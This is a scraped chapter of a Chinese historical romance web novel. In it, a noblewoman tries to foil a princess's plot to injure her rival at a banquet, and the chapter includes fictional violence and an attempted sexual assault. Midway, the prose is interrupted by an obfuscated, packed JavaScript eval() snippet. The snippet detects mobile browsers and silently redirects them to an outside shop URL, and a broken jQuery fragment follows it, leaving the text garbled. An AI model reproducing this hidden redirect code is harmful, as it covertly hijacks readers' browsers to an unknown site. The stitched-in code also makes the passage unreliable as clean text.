文趣网 > 其他小说 > 难弃 > 3. 第 3 章
    过了一会儿,梅素笛及笄礼已成,礼器依次撤下,众人以掌声恭贺。此时,一个瘦削但挺拔的身影走进院中,久居朝堂不怎么过问后宅之事的梅相也来了。他简单替小女道谢几句,便悄然离开,临走前一个眼神示意夫人可以开始今天的宴席。

    梅夫人点头,简单吩咐几句,便有人引导女眷们移步内堂。

    堂中早已布置妥当,几案依序排开,熏香袅袅漫过廊柱。乐师坐于廊下,丝竹之声缓缓扬起,清和婉转。舞姬着浅罗衣裙,随乐步入堂中,广袖回转,身姿轻盈,翩跹起舞。

    商玉蘅和杨雨薇特意选了个离王静兮不远的坐席。

    没过一会儿,歌舞声缓,侍女执壶往来穿梭,依次为各位贵女斟满杯中淡酒。诸位主母、小姐陆续离席,或是执盏欠身,互相敬几杯,或是坐一处闲聊京城近来趣闻、时不时笑作一团。

    一时之间内堂分外热闹,人影憧憧、往来纷纷,平添了几分混乱。

    只见大理寺卿赵以康家的大小姐,端着杯盏,来到王静兮坐席前,笑道:“妹妹身体可好些了?一直钦佩妹妹才学品貌,属实世间难得,想邀妹妹共饮一杯,不知可否?”

    王静兮闻言,旋即起身,柔声道:“赵姐姐说笑了,可当不起如此夸赞。”也未推辞,微一仰头便饮尽了杯中淡酒。

    赵大小姐欣然离去,刚一转身便递了眼神给商玉蘅、杨雨薇等人。其他人心领神会,三三两两,一前一后,依葫芦画瓢似的来给王静兮敬酒。

    虽席间用的是淡雅清甜的梅子酒,不容易让人醉倒。但王静兮到底是个娇弱带病的世家小姐,平日并不常饮酒。哪里禁得起这么些人轮番上阵灌她杯酒。

    但她一旦面露难色,称喝不下,其他小姐又哪里肯依。一时之间,王家小姐白皙脸上染上了薄薄一层淡红,眼神也不再清明,眼波流转间徜徉着微醺之意。

    商玉蘅没有随着人群去敬酒,假装看不到杨雨薇等人的眼神暗示,也并不理会她低声的呵斥,一张脸埋在佳肴中,只露一双眼睛,滴溜溜偷瞄着王静兮。

    正看她扶着一旁丫鬟,歪歪扭扭刚一站起身,便听到耳旁传来一阵喧哗,原是传菜的小厮不小心溅了汤汁在哪家小姐的裙子上,小姐怒极,又因饮酒有几分上头,伸手便掀翻了他手上端着的菜碟。

    一时之间,碗碟纷飞,坐在两人正后方的王静兮更是被菜肴汤水污了一身裙衫,原本淡雅的清香也被弄的腌臢不已。

    最先反应过来的是杨雨薇,她赶忙奔到王静兮身边,与丫鬟一道扶着她,打算带她去厢房换身衣服,稍作休息。

    就在三个人的身影快消失不见时,一直埋头苦吃的商玉蘅,终于还是咬牙起身,便往后山小道跑。

    前往厢房的路线她原比梅府的丫鬟都清楚,前几日在宫里,三公主早已将她们几人的分工讲清,连同何时敬酒、何时弄脏她衣衫、何地推倒她、何力道打折她手腕和小腿,都一一设计好了。

    三公主心机之深,真令人心惊胆战,生怕自己也被用同样的法子,织一张铺天盖地的网,变成刀板上的鱼肉,任人宰割。

    所以她们这些帮凶,几乎都是朝中重臣之女,但却无一人敢在公主面前说一个“不”字。

    商玉蘅不敢反抗,但她怎么也无法眼看着如美玉一般温柔善良又病弱的王家小姐,被人打断手臂,打折腿。这对世族女子来说,绝不只是三公主轻描淡写又不痛不痒的“一点小惩罚”。

    于是,她几乎是一路小跑在后花园赶上了杨雨薇一行。此时只杨三小姐一人单手扶着王家小姐,王静兮像是醉得不省人事一般,头垂在她肩膀,前方引路的是个低眉顺目的丫鬟,身上有一股淡淡的梅香。

    杨雨薇见是她,恶言道:“你这蠢货,刚不是像猪一样大吃大嚼么。现下来这里做什么。”

    商玉蘅堆起一个讨好的笑:“已经吃饱了,所以来帮你。”

    “接下来就交给我吧,三娘你这细皮嫩肉的身子,哪干得了力气活。”

    闻言,杨雨薇脸上终于不再只有怨怒,她身形瘦弱,扶着王静兮已然费力,更别说把人摔倒地里,再拿棍子照着手脚来几下。她将怀里的人扶到商玉蘅一侧,指了指前方带路的丫鬟,低声道:“公主已经备好了替罪的人和证词,我会把梅府的丫鬟带走,你自是干完正事儿,就快些离开此地。”

    说罢,她推称自己遗失了重要物件,让带路的丫鬟带她回去寻找。这边就请商玉蘅先扶着王大小姐去厢房换衣休息。

    此时大部分女眷和丫鬟小厮都在内堂,后花园里一时之间只剩商玉蘅和王静兮两人。距离梅府供客人休憩的厢房还有一小段路。

    商玉蘅做贼似的望了望前后左右,确定没有其他人之后,便伸手拍了拍王静兮的脸,贴着她耳朵叫道:“王姐姐,王姐姐。”

    王静兮略一抬头,眼神仍旧迷茫,完全不理会她的话。商玉蘅只好从随身带的荷包中,掏出一粒解酒的药丸塞到她嘴里,强迫她吞下,稍过片刻,她眼神终于恢复了一丝清明。

    商玉蘅才放下心,搀扶着她,一边慢慢往厢房走,一边同她低声私语道:“王姐姐,三公主她,视你为眼中钉,今日这局便是她设的。”

    “你且去厢房换身衣服,我已让人传信给你家,她们马上过来接你回家。”

    “你回家后,一定记得称病养上半个月再走动,对外就说今天醉酒不小心摔折了骨头,在家修养。”

    “如此忍到3月大试再露面。”商玉蘅怕她没听明白,对着她的耳朵又翻来覆去讲了好几遍,只等王静兮点头称是后,才舒了口气。一直默默无言把人扶进厢房,又帮她换了身衣裙,看她在榻上休息了一会儿又喂了水,商玉蘅才安心离开。走的时候,还贴心帮她把门带上,又吩咐丫鬟看好小姐,等她家人来接。

    “自己可真活像个操心的婆子。”她一边往内堂赶,一边笑着自嘲道。一路上又闻到了熟悉的淡淡梅花香,还遇到一群开始收拾外厅和庭院的匠人和小厮。

    等她回到坐席时,宴会已近尾声。本与她坐一处的赵家小姐和蔡家五小姐已不见踪影,似是已经随主母娘子离府。只有杨三小姐,杨雨薇还在自己的座上,像是在等她一般。

    但等对上眼神,商玉蘅发现,杨雨薇眼里已没有平日戏耍、玩笑、嗔怪或是怨怼的意味,她神情复杂、欲言又止。

    “你....”她张了张嘴,很快又闭上。

    “我怎么了?”商玉蘅又堆起一脸讨好的笑,心里却隐约有些不安。

    “三公主不会放过你的。”

    “她要做的事情,是定要做成的。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945113|214036||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    杨三小姐终于还是说出了口。但也言尽于此,她便不再看她,转身决然离去。

    商玉蘅怔怔地留在原地,脑子里飞速闪过那眼生的丫鬟、擦肩而过的小厮、孔武有力的工匠,熟悉的梅香,还有宴席后半程开始便始终不曾再出现的梅夫人和梅素笛.....

    糟了。

    还是中计了!

    她心里又惊又惧,若真是自己所想那样,三公主这是想逼死王静兮。

    她再也顾不得其他,提起裙子便是飞奔,此刻她恨不得能飞到那间偏远的厢房,立马打开房门。

    但等她来到房前,却怎么也打不开,门已被人从里面锁上了。

    她只得一边大喊来人,一边使出全身的力气捶打。喊了许久依旧没有人来,房内传来一阵衣帛被撕的声音,商玉蘅心一横,索性拿整个身体去砸门,重重几下过后,终于将门撞开。

    厢房内,有个方脸的壮硕男子正站在榻前,一手已经撕开王静兮的外衫,另一手正在解自己的衣带。两人眼神相对,商玉蘅认出,这正是方才回内堂的路上与她擦肩而过的工匠。也顾不得什么男女授受不亲,伸腿便是一脚,想把男人从榻前踢开。

    可惜对方壮如磐石,挨了这一脚,身形却纹丝不动。商玉蘅只得胡乱抄起桌上的烛台、花瓶等物件,一一砸向男子。

    这一举动惹得男人恶狠狠回头,一步步朝她的方向走来,挥起的拳头如雨点般直冲她脸上、身上来。

    一拳、两拳、三拳......也不知被打了多少下,商玉蘅只觉得自己已经鼻青脸肿,鼻血早已流了一地。但是她仍坚持着,抱着男子的大腿不松开。嘴里不断喊着救命,声音已十分微弱。

    直到她视线模糊,觉得自己快撑不住时。终于有两个身影如天神下凡一般,飞也似得冲到了房里。

    姿容秀美、气质泠冽的谢公子,谢尧,像对待珍宝一般,解下自己的外衫将王家小姐,王静兮裹得严严实实,一个抬手便将还在晕迷中的人抱了起来。

    妖艳邪气,桀骜不驯的梅二公子,梅若兰,紧随其后,先是深情凝视一眼王家小姐,然后飞起一脚,便将方脸男子踢倒在一旁,看到地上散落的王静兮外衫残片,又狠狠地补上好几脚。

    眼见方脸男子已被踢到晕死过去,商玉蘅终于放开了抱着他大腿的手。

    这一举动引起梅若兰的注意。他重重踩在男子背上,居高临下地盯着商玉蘅。

    “你和他是同谋吗?”梅若兰声音凛冽。

    然而被打得鼻青脸肿的商玉蘅,已连一丝声音都发不出来。她的眼睛、鼻子、嘴巴里都是血。

    一直等不到回应,梅若兰不耐烦地又给了她几脚。这下她只觉得自己的骨头可能要断了。

    在意识即将消失前,她听到一个熟悉又温柔的女声轻叹道。

    “阿兰,这是御史大夫商赭的女儿,可别把人打死了。”

    “........”

    “我到底算什么呢。”商玉蘅像破布一般,躺在地上一动不动。

    是善良的胖子,还是自以为是的戏台丑角?

    一切都是自作自受,是我活该。

    眼前一黑,她这次终于能够安睡一觉了。

    无所谓,当恶人太难,倒不如当个小丑罢。